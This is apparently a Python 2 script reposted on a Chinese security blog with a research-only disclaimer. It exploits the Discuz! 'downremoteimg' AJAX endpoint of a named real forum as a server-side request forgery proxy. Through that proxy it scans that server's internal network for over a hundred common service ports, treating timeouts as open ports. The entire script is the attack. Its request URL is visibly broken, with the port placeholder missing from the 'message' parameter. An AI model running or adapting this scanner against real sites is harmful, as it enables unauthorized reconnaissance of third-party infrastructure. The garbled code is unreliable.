#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author: Lcy # @Date: 2016-07-05 20:55:30 # @Last Modified by: Lcy # @Last Modified time: 2016-10-10 16:26:14 import requests import threading import Queue import time threads_count = 2 que = Queue.Queue() lock = threading.Lock() threads = [] ports = [21,22,23,25,69,80,81,82,83,84,110,389,389,443,445,488,512,513,514,873,901,1043,1080,1099,1090,1158,1352,1433,1434,1521,2049,2100,2181,2601,2604,3128,3306,3307,3389,4440,4444,4445,4848,5000,5280,5432,5500,5632,5900,5901,5902,5903,5984,6000,6033,6082,6379,6666,7001,7001,7002,7070,7101,7676,7777,7899,7988,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8069,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8098,8099,8980,8990,8443,8686,8787,8880,8888,9000,9001,9043,9045,9060,9080,9081,9088,9088,9090,9091,9100,9200,9300,9443,9871,9999,10000,10068,10086,11211,20000,22022,22222,27017,28017,50060,50070] for i in ports: que.put(str(i)) def run(): while que.qsize() > 0: p = que.get() print p + " \r", try: url = "http://bbs.phpinfo.me/forum.php?mod=ajax&action=downremoteimg&message= ".format( port=p) r = requests.get(url,timeout=2.8) except: lock.acquire() print "{port} Open".format(port=p) lock.release() for i in range(threads_count): t = threading.Thread(target=run) threads.append(t) t.setDaemon(True) t.start() while que.qsize() > 0: time.sleep(1.0)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论